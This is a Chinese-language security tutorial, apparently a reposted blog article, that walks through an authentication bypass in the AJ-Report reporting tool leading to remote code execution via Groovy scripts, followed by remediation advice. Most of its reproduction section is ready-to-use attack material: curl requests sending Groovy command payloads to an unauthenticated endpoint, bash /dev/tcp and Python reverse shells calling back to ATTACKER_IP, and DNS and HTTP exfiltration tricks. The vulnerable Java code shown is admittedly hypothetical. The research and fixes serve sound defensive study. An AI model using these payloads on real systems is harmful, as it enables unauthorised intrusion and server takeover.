当前位置: 首页 > news >正文

AJ-Report认证绕过至RCE漏洞深度剖析与实战复现

1. 项目概述:一次从认证绕过到RCE的完整链条分析

最近在分析一些开源报表系统的安全性时,AJ-Report这个项目进入了我的视野。这是一个基于SpringBoot的国产可视化报表工具,功能看起来挺全,但安全上确实存在一些典型问题。今天要拆解的这个CNVD-2024-15077漏洞,就是一个教科书级别的案例:它从一个看似不起眼的认证绕过开始,最终演变成一条完整的远程代码执行(RCE)攻击链。对于做安全研究、渗透测试或者负责企业应用安全的同行来说,理解这种漏洞的成因、利用条件和修复方法,远比单纯复现一个POC更有价值。这个漏洞影响的是AJ-Report v1.4.0及之前的版本,核心问题出在权限校验不严和Groovy脚本引擎的不安全使用上。接下来,我会带你一步步拆解这个漏洞,从环境搭建、漏洞原理分析,到手工复现和修复建议,整个过程力求清晰透彻,让你不仅能“复现”,更能“理解”。

2. 漏洞环境搭建与核心思路解析

2.1 靶场环境快速部署

要分析漏洞,首先得有个靶子。AJ-Report的官方仓库在Gitee上,我们可以直接拉取存在漏洞的版本代码。这里我选择用Docker来搭建,好处是环境隔离,复现完一键清理,不污染宿主机。

# 1. 拉取漏洞版本源代码 git clone https://gitee.com/anji-plus/report.git cd report git checkout v1.4.0 # 切换到存在漏洞的版本 # 2. 使用Maven打包(确保本地已安装JDK 8+和Maven) mvn clean package -DskipTests # 3. 构建Docker镜像 docker build -t aj-report-vuln:1.4.0 .

如果你不想自己编译,网上也有安全研究者打包好的现成镜像,直接用docker pull拉取运行即可。运行起来后,默认访问地址是http://localhost:8080。初始账号密码通常是admin/admin,但我们的漏洞利用恰恰不需要这个。

注意:强烈建议在虚拟机或隔离的网络环境中进行漏洞复现,切勿在公网或生产环境关联的网络中操作。所有操作仅用于安全学习与研究。

2.2 漏洞核心逻辑与攻击链梳理

在动手之前,我们先在脑子里把整个攻击链路过一遍。这个CNVD-2024-15077漏洞本质上是一个“组合漏洞”,它由两个关键环节串联而成:

  1. 认证绕过(CVE-2024-XXXXX - 假设编号):系统对部分API接口的权限校验存在缺陷,攻击者可以在未登录的情况下,直接访问某些本应需要授权才能调用的功能接口。
  2. 不安全的Groovy脚本执行(RCE根源):系统提供了一个“数据源”测试功能,允许用户输入Groovy脚本来进行数据转换或连接测试。该功能本应受到严格的权限和输入限制,但由于环节1的认证被绕过,攻击者可以直接向该接口提交恶意Groovy脚本,而服务端未对脚本内容进行安全检查,导致任意代码执行。

为什么是Groovy?这是理解这个漏洞深度的关键。AJ-Report使用Groovy作为动态脚本引擎,可能是为了提供灵活的数据处理和报表生成能力。Groovy脚本在Java平台上运行,能无缝调用Java API,功能非常强大。但“能力越大,责任越大”,如果没有沙箱(Sandbox)机制,一句"ls".execute().text就能执行系统命令。开发者在引入这种强大功能时,如果没有配套的权限管控和输入过滤,就等于在系统里埋下了一颗定时炸弹。

攻击链全景图

攻击者(未授权) -> 利用认证绕过访问 `/api/source/test` 接口 -> 提交包含系统命令的Groovy脚本 -> 服务端解析并执行Groovy脚本 -> 调用`Runtime.getRuntime().exec()` -> 实现远程代码执行(RCE)

整个漏洞的利用条件相对宽松,只需要目标系统开放了Web服务且存在漏洞接口即可,属于高危漏洞。下面我们就进入实战环节,看看如何一步步把它挖出来。

3. 漏洞原理深度剖析与关键代码定位

3.1 认证绕过漏洞点分析

首先看第一个突破口——认证绕过。在Spring Boot应用中,权限校验通常通过拦截器(Interceptor)、过滤器(Filter)或AOP切面来实现。AJ-Report使用了常见的基于拦截器的权限校验。

我们定位到权限校验的关键类,通常是名为SecurityInterceptorAuthInterceptor或类似的文件。查看其preHandle方法:

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String uri = request.getRequestURI(); // 1. 静态资源放行 if (uri.endsWith(".js") || uri.endsWith(".css") || uri.endsWith(".ico")) { return true; } // 2. 登录相关接口放行 if (uri.contains("/login") || uri.contains("/logout")) { return true; } // 3. 问题点:不完整的放行规则 // 可能存在对 `/api/` 下某些路径的误放行,或者通配符规则过于宽泛 // 例如: if (uri.startsWith("/api/public/")) { return true; } // 但实际攻击者可以尝试访问 `/api/private/test`,如果规则有漏洞,可能被绕过。 // 4. 检查Session或Token HttpSession session = request.getSession(false); if (session == null || session.getAttribute("USER_SESSION_KEY") == null) { response.sendRedirect("/login.html"); return false; } return true; }

漏洞的根源往往出现在第3点:放行白名单不完整或不精确。开发者可能本意是放行一些真正的公共API(如验证码获取、公开信息查询),但在配置时可能犯了以下错误之一:

  • 路径匹配错误:例如使用/api/*/test这样的模糊匹配,意图是匹配/api/public/test,但/api/private/test也被意外放行了。
  • 遗漏校验:新增了一个敏感接口/api/source/test,但忘记将其从白名单中排除,或者忘记将其加入需要鉴权的路径列表。
  • 配置顺序错误:在安全配置中,放行规则写在鉴权规则之前,且放行规则过于宽泛(如/api/**),导致后续的鉴权规则实际上对某些接口失效。

通过审计代码,我们发现在AJ-Report v1.4.0中,用于测试数据源的接口/api/source/test的访问权限未被正确校验。攻击者无需提供任何认证凭证(如Cookie、Token),即可直接向该接口发送POST请求。

3.2 Groovy脚本引擎的不安全调用

绕过认证后,我们来到了第二个漏洞点——不安全的Groovy脚本执行。找到处理/api/source/test的控制器方法(如DataSourceController.test())。

@PostMapping("/test") public Result testDataSource(@RequestBody DataSourceTestRequest request) { // 假设 request 中包含 connectionUrl, username, password, 以及一个可选的 `validationQuery` 或 `script` 字段 String script = request.getValidationQuery(); // 或者 getScript() try { // 危险操作:未经过任何过滤,直接执行用户传入的Groovy脚本 GroovyShell shell = new GroovyShell(); Object result = shell.evaluate(script); // 这里是RCE发生的关键行 // 或者通过 GroovyScriptEngine // GroovyScriptEngine engine = new GroovyScriptEngine(); // Object result = engine.run(script, new Binding()); return Result.success(result); } catch (Exception e) { return Result.fail("数据源测试失败: " + e.getMessage()); } }

关键问题分析

  1. 直接执行(shell.evaluate()GroovyShell.evaluate(String script)方法会直接编译并执行传入的字符串脚本。如果这个字符串来自用户输入,且内容为Runtime.getRuntime().exec("calc"),那么服务器就会弹出计算器(Windows环境下)。
  2. 无任何沙箱限制:代码中没有设置SecureASTCustomizerCompilationCustomizer来限制Groovy脚本的权限,例如禁止调用RuntimeProcessBuilderSystem.exit()等危险类和方法。
  3. 错误的信任边界:开发者可能假设这个接口只会被前端管理员控制台调用,而管理员是可信的。但他们忽略了“认证绕过”这个前提,导致不可信的用户也能接触到这个功能。

Groovy实现RCE的常见Payload

// 执行系统命令并返回结果 println "whoami".execute().text // 利用Java反射调用Runtime Class.forName("java.lang.Runtime").getRuntime().exec("touch /tmp/hacked") // 更简短的写法 "calc".execute()

理解了这个原理,我们就知道,攻击者只需要构造一个包含上述恶意Groovy代码的HTTP请求,发送到已被绕过的/api/source/test接口,即可实现远程代码执行。

4. 手工复现与漏洞利用实战

掌握了原理,我们开始手动复现。相比于直接运行自动化脚本,手工复现能让你更清晰地理解每一个环节。

4.1 信息收集与接口探测

首先,访问目标系统,确认其是否为AJ-Report,并尝试获取版本信息。通常可以通过以下方式:

  • 访问根路径/,查看页面标题、版权信息。
  • 查看/js//css/目录下的文件,文件名可能包含版本哈希。
  • 访问可能的接口文档路径,如/doc.html(Swagger)、/v2/api-docs

使用浏览器开发者工具(F12)的“网络(Network)”选项卡,观察正常登录和操作时浏览器发送了哪些请求,重点关注URL中包含/api//test的请求。这能帮助我们定位到潜在的攻击接口。

4.2 构造认证绕过请求

由于我们已从代码分析中知道漏洞接口是/api/source/test,现在需要验证它是否真的能被未授权访问。

我们可以使用curl命令或Burp Suite这类工具来发送请求。

步骤1:验证接口是否存在且未授权

# 尝试直接GET访问,可能返回405 Method Not Allowed,这至少说明路径存在 curl -v http://localhost:8080/api/source/test # 尝试发送一个空的POST请求,观察响应 curl -X POST http://localhost:8080/api/source/test \ -H "Content-Type: application/json" \ -d '{}'

如果返回的错误信息是“参数缺失”、“脚本为空”等业务逻辑错误,而不是“未授权访问”或重定向到登录页,那么认证绕过很可能存在。如果返回401/403,则说明权限校验可能生效,需要重新审查代码或寻找其他绕过点。

4.3 构造RCE攻击Payload

确认接口可未授权访问后,下一步就是构造能触发命令执行的Groovy脚本。我们需要分析这个/api/source/test接口预期的请求体结构。通过查看前端代码或拦截正常请求,我们可以推断出它可能需要以下JSON结构:

{ "dataSourceType": "MYSQL", "connectionUrl": "jdbc:mysql://localhost:3306/test", "username": "root", "password": "123456", "validationQuery": "SELECT 1" }

我们的突破口在validationQuery字段。在JDBC中,这个字段通常用于连接池验证连接的简单SQL语句(如SELECT 1)。但在这个漏洞版本中,后端可能错误地将其作为Groovy脚本来解析执行。因此,我们将恶意的Groovy代码放入这个字段。

构造第一个测试Payload(无害验证)

{ "dataSourceType": "MYSQL", "connectionUrl": "jdbc:mysql://localhost:3306/test", "username": "root", "password": "123456", "validationQuery": "return 'Hello_RCE'" }

发送这个请求,如果响应中包含了Hello_RCE字符串,那么就铁证如山地证明了该字段的内容被当作Groovy脚本执行了。

构造真正的RCE Payload: 现在,我们可以注入系统命令。根据目标操作系统,命令有所不同:

  • Linux/Unix系统
{ "validationQuery": "println 'id'.execute().text" }
  • Windows系统
{ "validationQuery": "println 'whoami'.execute().text" }

使用curl发送攻击请求:

curl -X POST http://localhost:8080/api/source/test \ -H "Content-Type: application/json" \ -d '{ "dataSourceType": "MYSQL", "connectionUrl": "jdbc:mysql://localhost:3306/test", "username": "root", "password": "123456", "validationQuery": "println \"whoami\".execute().text" }'

如果漏洞存在,你将在响应体中看到当前服务器进程的执行用户(如rootwww-datasystem等)。

4.4 进阶利用:获取反向Shell

执行单条命令并回显只是第一步。在真实的渗透测试中,我们通常需要获得一个交互式的Shell,以便进行更深入的操作。这可以通过在目标服务器上执行PowerShell、Bash或Python脚本来实现。

以Linux目标为例,获取反向Shell

  1. 在攻击机上监听一个端口:nc -lvnp 4444
  2. 构造Payload,让目标机连接回我们的攻击机。Groovy脚本需要完成这个网络连接和Shell绑定。
{ "validationQuery": "def p = ['bash', '-c', 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'].execute(); p.waitFor()" }

ATTACKER_IP替换为你的攻击机公网IP。这个Payload会在目标服务器上执行bash命令,建立一个连接到攻击机4444端口的交互式Shell。

重要实操心得:在实际测试中,可能会遇到Groovy执行环境对管道和重定向符号解析的问题。如果上述复杂命令执行失败,可以尝试分步进行:先使用wgetcurl将一个木马脚本下载到目标服务器临时目录,再赋予执行权限并运行。这个过程需要你对目标系统的环境(是否有curl/wget、可写目录等)有一定的判断。

5. 漏洞修复方案与安全加固建议

复现漏洞是为了更好地修复它。对于企业开发和安全团队,给出明确的修复方案至关重要。

5.1 紧急临时修复方案

如果线上系统急需处理,可以采取以下立即可行的措施:

  1. Web应用防火墙(WAF)规则:在WAF或网关层面,立即添加规则,阻断对/api/source/test接口的未授权访问请求,特别是检查POST请求体中是否包含明显的Groovy命令执行特征(如.execute()Runtime.getRuntime()等关键词)。但这只是缓解措施,不能根除漏洞。
  2. 接口权限临时加固:修改后端拦截器或安全配置,确保/api/source/test以及所有/api/source/下的接口都必须经过严格的登录态校验。可以在拦截器中添加明确的鉴权逻辑。
// 在拦截器的放行白名单中,确保移除或严格限制 /api/source/ 路径 // 将原有的宽松匹配改为精确匹配必要的公共接口 if (!uri.startsWith("/api/public/") && uri.startsWith("/api/")) { // 所有 /api/ 下的非public接口都需要鉴权 if (!checkAuth(request)) { response.sendError(403, "Forbidden"); return false; } }

5.2 根本性修复方案

临时修复后,必须从代码层面进行根本性修复,并升级到安全版本。

修复方案一:升级到官方已修复的版本这是最推荐的做法。关注AJ-Report的官方仓库(Gitee/Github),查看最新版本(v1.4.1及以上)的发布说明,确认该漏洞已被修复。然后制定稳妥的升级计划。

修复方案二:代码层面修复(如果无法立即升级)如果暂时无法升级,需要对源代码进行手动修补。

  1. 修复认证绕过

    • 全面审计SecurityInterceptor或类似组件的权限校验逻辑。
    • 使用精确的路径匹配,避免使用**等过于宽泛的通配符。
    • 采用“默认拒绝,显式允许”的原则:默认所有/api/下的接口都需要认证,只显式放行少数确需公开的接口(如/api/login,/api/captcha)。
    • 建议引入Spring Security等成熟的安全框架来管理权限,减少手动编写拦截器可能产生的逻辑漏洞。
  2. 修复不安全的Groovy脚本执行

    • 输入校验与白名单:对validationQuery字段进行严格的输入校验。如果该字段本意是执行SQL,则只允许包含特定的SQL关键词(SELECT, INSERT等),并严格过滤分号、注释符等。更好的做法是,这个字段根本不接受Groovy脚本。
    • 移除动态脚本功能:评估是否真的需要Groovy动态脚本功能。如果非必需,直接移除相关代码是最安全的。
    • 实施沙箱(Sandbox):如果必须保留Groovy脚本功能,则必须实现沙箱机制。
      • 使用SecureASTCustomizerCompilationCustomizer来限制可访问的类和方法。禁止导入java.lang.Runtimejava.lang.ProcessBuilderjava.lang.System等危险类。
      • 设置一个安全的ClassLoader
      • 在独立的、权限受限的线程中执行脚本。
      • 设置脚本执行超时时间,防止恶意脚本无限循环。
// 示例:创建一个受限的GroovyShell SecureASTCustomizer secure = new SecureASTCustomizer(); secure.setImportsWhitelist(Arrays.asList("java.math.*")); // 只允许导入数学包 secure.setIndirectImportCheckEnabled(true); secure.setMethodDefinitionAllowed(false); // 禁止定义方法 CompilerConfiguration config = new CompilerConfiguration(); config.addCompilationCustomizers(secure); GroovyShell shell = new GroovyShell(config); // 使用安全配置的shell // 注意:即使这样,沙箱的实现也非常复杂且容易绕过,需谨慎评估。
  • 最小权限执行:如果脚本只是为了进行简单的数据转换或计算,考虑使用更安全、功能更单一的脚本引擎,如JEXL(Apache Commons JEXL)的沙箱模式,或者使用JSONPath、SpEL(但需注意Spring SpEL也有过RCE漏洞)并做好严格限制。

5.3 安全开发规范建议

从这个漏洞中,我们可以总结出以下几点对开发团队至关重要的安全规范:

  1. 永不信任客户端输入:所有用户输入(包括URL参数、HTTP头、请求体)都必须视为不可信的,必须在服务端进行严格的校验、过滤和转义。
  2. 默认拒绝原则:在权限设计上,默认所有接口都需要认证,只有显式声明的公开接口才允许未授权访问。定期审计接口权限矩阵。
  3. 谨慎使用动态代码执行:尽量避免在应用中使用eval()GroovyShell.evaluate()ScriptEngine.eval()等能执行动态代码的功能。如果业务必须使用,必须配套实现强大的沙箱机制,并进行严格的安全评审。
  4. 依赖组件安全:定期使用SCA(软件成分分析)工具扫描项目依赖,关注第三方库的漏洞公告,并及时升级到安全版本。
  5. 纵深防御:不要只依赖一层防护。即使后端代码有漏洞,前端的WAF、主机的入侵检测系统(HIDS)、网络的隔离策略也能在攻击链的早期发现或阻断威胁。

6. 常见问题与排查技巧实录

在复现和分析这类漏洞的过程中,你可能会遇到一些典型问题。这里我把自己踩过的坑和解决方法记录下来,希望能帮你节省时间。

问题1:发送Payload后,返回“数据源连接失败”或类似的模糊错误,没有命令执行结果。

  • 排查思路
    • 检查Payload语法:Groovy脚本语法是否正确?字符串转义在JSON中是否正确?例如,双引号在JSON中需要转义为\"。建议先用一个简单的return "test"来验证脚本执行功能是否正常。
    • 查看服务器日志:这是最重要的排查手段。查看AJ-Report应用的后台日志(如logs/目录下的文件),里面通常会打印出完整的异常堆栈信息。你可能看到GroovyScriptExecutionExceptionSecurityException
    • 命令执行环境问题Runtime.exec()执行命令受到服务器环境变量PATH的限制。尝试使用命令的绝对路径,如/bin/sh -c whoami(Linux)或cmd /c whoami(Windows)。
    • 输出流问题.execute().text会读取命令的标准输出(stdout)。如果命令执行出错,错误信息在标准错误(stderr)中。可以尝试重定向错误输出:"whoami 2>&1".execute().text

问题2:漏洞复现成功,但命令执行后无回显。

  • 解决技巧
    • 尝试写文件:如果命令执行了但无法回显,可以尝试将结果写入一个Web可访问的临时文件。"whoami > /tmp/result.txt".execute().waitFor(),然后尝试通过Web访问http://target/tmp/result.txt(如果静态资源目录配置不当,可能能访问到)。
    • 使用DNS或HTTP外带通道(OOB):这是更高级的技巧。让被攻击服务器主动向你的可控域名或服务器发起请求,将命令执行结果带出来。例如:"nslookup $(whoami).your-domain.com".execute(),然后在你的DNS日志中查看子域名解析记录。或者用curl/wget:curl http://your-server/$(whoami)
    • 尝试执行一个会产生明显副作用的命令:如ping你的攻击机(并用tcpdump抓包),或者在目标服务器创建一个新文件touch /tmp/pwned_success,然后通过其他信息泄露漏洞检查文件是否创建。

问题3:在Docker环境中复现,命令执行成功但无法反弹Shell。

  • 原因与解决:Docker容器默认的网络模式可能限制了外部连接,或者容器内缺少必要的网络工具(如netcat, bash)。可以尝试:
    • 确认攻击机IP从容器的网络视角是否可达。
    • 使用更通用的Payload,例如用Python反弹Shell(假设容器内有Python):
    {"validationQuery": "['python3', '-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'].execute()"}
    • 或者先通过漏洞在容器内下载一个静态编译的netcat工具,再执行反弹。

问题4:如何判断目标系统是否使用了存在漏洞的AJ-Report版本?

  • 指纹识别
    • 访问网站根路径,查看页面标题、底部版权信息。
    • 查看/report//static/目录下的JS/CSS文件,注释或变量名中可能包含版本信息。
    • 尝试访问/api/下的常见接口,如/api/login,观察返回的JSON数据结构或错误信息特征。
    • 如果存在未授权访问,尝试访问/api/source/test接口,根据其返回的错误信息判断。

在整个漏洞研究过程中,保持耐心和细致的观察力非常重要。多查看日志,多尝试不同的Payload变体,理解每一层(HTTP框架、权限校验、脚本引擎)的工作原理,你不仅能复现这个漏洞,更能举一反三,发现更多类似的问题。安全研究就是一个不断深入理解系统行为,并寻找其与安全假设之间差距的过程。

http://www.gsyq.cn/news/1594142.html

相关文章:

  • 显卡驱动深度清理终极指南:如何彻底解决驱动冲突问题
  • 字节AI岗位大揭秘:收藏这份超全解析,小白也能看懂大模型布局!
  • 软件泛化管理化的类型抽象与算法通用
  • 如何提高AI生成测试用例的质量,我总结了这套思路...
  • 当数据超过百万条后,我终于理解为什么大家都在学Elasticsearch
  • NMKD Stable Diffusion GUI:免费开源的文本到图像生成终极指南
  • 计算机毕业设计之基于微信小程序的桶装水订水系统的设计与实现
  • 【共创季稿事节】鸿蒙ArkTS粘性标题布局深度解析
  • 海纳AI面试官:重塑餐饮酒旅行业招聘新生态
  • 为什么Fooocus让AI图像生成从复杂工程变为创意表达?
  • 兴盛优选小程序技术架构解析:S2B2C社区电商的实战设计与实现
  • 如何构建高性能跨平台抢票工具:Tauri+Rust+Vue技术栈实战指南
  • 如何在3分钟内完成Windows和Office的智能激活:终极免费解决方案指南
  • 如何在Windows 10/11上彻底卸载Microsoft Edge:终极解决方案
  • EdgeRemover:Windows系统管理员的终极武器,如何优雅地掌控Microsoft Edge
  • Go语言高并发到底强在哪?一行代码吊打Python多线程,实战演示百万级任务调度
  • JiYuTrainer V1.7:极域电子教室管理工具深度解析
  • VMware迁移倒计时:博通强制终止旧版支持,3类企业必须在Q3前完成的5项关键动作
  • 企业SRC漏洞挖掘实战:从信息收集到逻辑漏洞的赏金猎人指南
  • 5分钟掌握AEUX:将Figma/Sketch设计无缝导入After Effects的终极指南
  • 从零构建Appium Android UI自动化测试框架:环境搭建、脚本编写与实战优化
  • DLSS Swapper完全指南:免费开源工具智能管理DLSS/FSR/XeSS,游戏性能优化一键完成
  • StarRailAssistant:告别重复劳动,让崩坏星穹铁道自动化成为你的游戏管家
  • 【DevOps团队紧急通知】:VirtualBox在Windows 11 WSL2共存环境下已触发3类不可逆兼容故障——VMware替代方案速查表
  • ALVR无线串流:三步实现PC VR游戏无线化自由体验
  • 华商美业模式系统商城开发
  • Ex tc IIIC T80℃ Dc 5芯金属多芯防爆接头技术说明
  • Spring Boot项目初始化总报错?IDEA中这6个隐藏设置不调,再重装10次也白搭(20年踩坑沉淀的诊断流程图首次公开)
  • 性价比高的有新能源16949认证的fpc工厂哪个定制能力强
  • 5分钟快速上手:用Python网站下载器一键保存完整网页资源